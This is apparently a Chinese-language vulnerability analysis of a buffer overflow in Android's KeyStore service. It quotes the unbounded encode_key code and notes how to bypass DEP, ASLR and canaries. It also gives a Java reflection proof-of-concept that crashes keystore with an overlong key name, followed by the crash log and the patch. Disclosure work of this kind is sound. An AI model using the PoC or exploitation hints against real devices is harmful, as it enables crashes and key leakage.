/*
本文章由 莫灰灰 編寫,轉載請註明出處。
作者:莫灰灰 郵箱: [email protected]
*/
1. KeyStore Service
在Android中,/system/bin/keystore進程提供了一個安全存儲的服務。在過去的版本中,其他程序主要用過UNIX socket的守護進程/dev/socket/keystore去訪問這個服務。然而,現在我們可以通過Binder機制去訪問它。
每一個Android用戶都有一塊其私有的安全存儲區域。所有祕鑰信息使用一個隨機key並用AES加密算法加密,加密好的密文采用另外一個key加密後保存到本地磁盤。(後面的key通過PKCS5_PBKDF2_HMAC_SHA1函數算出來的)
在近期的一些Android版本中,證書管理(例如RSA算法的私有key)是可以通過專門的硬件做支持的。這也就是說,keystore的key只是用來標識存儲在專有硬件上的真正key。儘管有專有硬件的支持,但是還是會有一些證書,例如VPN PPTP的證書,依然會保存在本地磁盤上。
圖一很好的闡述了keystore安全存儲機制的工作原理。當然,更多的關於keystore服務的一些內部信息大家都可以在網上找到相關資料。
2. Simplicity
通過源代碼(keystore.c)中的註釋我們可以知道KeyStore被設計出來的時候想的略微簡單了點:
/* KeyStore is a secured storage for key-value pairs. In this implementation,
* each file stores one key-value pair. Keys are encoded in file names, and
* values are encrypted with checksums. The encryption key is protected by a
* user-defined password. To keep things simple, buffers are always larger than
* the maximum space we needed, so boundary checks on buffers are omitted.*/
代碼實現起來雖然簡單,但是緩衝區的大小並不總是比他們設想的最大空間要小。3. Vulnerability
容易被攻擊的緩衝區主要是在KeyStore::getKeyForName函數中。
ResponseCode getKeyForName (
<span style="white-space:pre"> </span>Blob * keyBlob ,
<span style="white-space:pre"> </span>const android :: String8 & keyName ,
<span style="white-space:pre"> </span>const uid_t uid ,
<span style="white-space:pre"> </span>const BlobType type )
{
char filename [ NAME_MAX ];
encode_key_for_uid ( filename , uid , keyName );
...
}
這個函數有好幾個調用者,外部程序可以很容易的通過Binder接口來調用它。(例如,int32_t android::KeyStoreProxy::get(const String16& name, uint8_t** item, size_t*itemLength))。因此,惡意程序可以很輕鬆的控制變量keyName的值和長度。
接下來,encode_key_for_uid函數中調用了encode_key函數,這個函數在沒有邊界檢查的情況下會造成filename的緩衝區溢出。
static int encode_key_for_uid (
char * out ,
uid_t uid ,
const android :: String8 & keyName )
{
int n = snprintf ( out , NAME_MAX , "% u_ ", uid );
out += n;
return n + encode_key ( out , keyName );
}
static int encode_key (
char * out ,
const android :: String8 & keyName )
{
const uint8_t * in = reinterpret_cast < const uint8_t * >( keyName . string ());
size_t length = keyName . length ();
for ( int i = length ; i > 0; --i , ++ in , ++ out ) {
if (* in < '0' || * in > '~ ') {
* out = '+' + (* in >> 6);
*++ out = '0' + (* in & 0 x3F );
++ length ;
} else {
* out = * in ;
}
}
* out = '\0 ';
return length ;
}
4. Exploitation
惡意程序如果要使用這個漏洞,那麼還需要解決如下幾個問題:
(1).數據執行保護(DEP)。這個可以採用Return-Oriented Programming (ROP)的方法繞過。
(2).地址隨機化(ASLR)。
(3).堆棧檢測(Stack Canaries)。
(4).編碼。小於0x30 ('0')或者大於0x7e ('~')的字符會被編碼之後再寫回到緩存區中。
不過好在Android KeyStore服務被結束了之後馬上會重啓,這個特性加大了攻擊成功的概率。此外,攻擊者理論上可以使用ASLR去對抗編碼。
5. Impact
各種信息泄露
6. Proof-of-concept
可以通過以下Java代碼觸發漏洞:
Class keystore = Class.forName("android.security.KeyStore");
Method mGetInstance = keystore.getMethod ("getInstance");
Method mGet = keystore.getMethod ("get", String.class);
Object instance = mGetInstance.invoke( null ); inf
mGet.invoke( instance ,
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ");
運行上述代碼後,KeyStore進程奔潰,日誌如下:
F/ libc ( 2091): Fatal signal 11 ( SIGSEGV ) at 0 x61616155 ( code =1) , thread 2091 ( keystore )
I/ DEBUG ( 949): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/ DEBUG ( 949): Build fingerprint : ' generic_x86 / sdk_x86 / generic_x86 :4.3/ JSS15
J/ eng . android - build .20130801.155736: eng / test - keys '
I/ DEBUG ( 949): Revision : '0'
I/ DEBUG ( 949): pid : 2091 , tid : 2091 , name : keystore >>> / system / bin / keystore <<<
I/ DEBUG ( 949): signal 11 ( SIGSEGV ), code 1 ( SEGV_MAPERR ) , fault addr 61616155
I/ DEBUG ( 949): eax 61616161 ebx b7779e94 ecx bff85ed0 edx b777a030
I/ DEBUG ( 949): esi b82a78a0 edi 000003 e8
I/ DEBUG ( 949): xcs 00000073 xds 0000007 b xes 0000007 b xfs 00000000 xss 0000007 b
I/ DEBUG ( 949): eip b7774937 ebp 61616161 esp bff85d20 flags 00010202
I/ DEBUG ( 949):
I/ DEBUG ( 949): backtrace :
I/ DEBUG ( 949): #00 pc 0000 c937 / system / bin / keystore ( KeyStore :: getKeyForName ( Blob * ,
android :: String8 const & ,
unsigned int , BlobType )+695)
I/ DEBUG ( 949):
I/ DEBUG ( 949): stack :
I/ DEBUG ( 949): bff85ce0 00000000
...
I/ DEBUG ( 949): bff85d48 00000007
I/ DEBUG ( 949): bff85d4c bff85ed0 [ stack ]
I/ DEBUG ( 949): bff85d50 bff8e1bc [ stack ]
I/ DEBUG ( 949): bff85d54 b77765a3 / system / bin / keystore
I/ DEBUG ( 949): bff85d58 b7776419 / system / bin / keystore
I/ DEBUG ( 949): bff85d5c bff85ed4 [ stack ]
I/ DEBUG ( 949): ........ ........
I/ DEBUG ( 949):
I/ DEBUG ( 949): memory map around fault addr 61616155:
I/ DEBUG ( 949): ( no map below )
I/ DEBUG ( 949): ( no map for address )
I/ DEBUG ( 949): b72ba000 - b73b8000 r -- / dev / binder
7. Patch
getKeyForName函數不再使用C風格的字符串去保存filename了。另外,使用了getKeyNameForUidWithDir函數去替代encode_key_for_uid生成編碼的密鑰名。前者正確的計算了編碼後密鑰的長度。
ResponseCode getKeyForName ( Blob * keyBlob , const android :: String8 & keyName , const uid_t uid ,
const BlobType type ) {
android :: String8 filepath8 ( getKeyNameForUidWithDir ( keyName , uid ));
...
}
android :: String8 getKeyNameForUidWithDir ( const android :: String8 & keyName , uid_t uid ) {
char encoded [ encode_key_length ( keyName ) + 1]; // add 1 for null char
encode_key ( encoded , keyName );
return android :: String8 :: format ("% s /% u_ %s ", getUserState ( uid ) -> getUserDirName () , uid ,
encoded );
}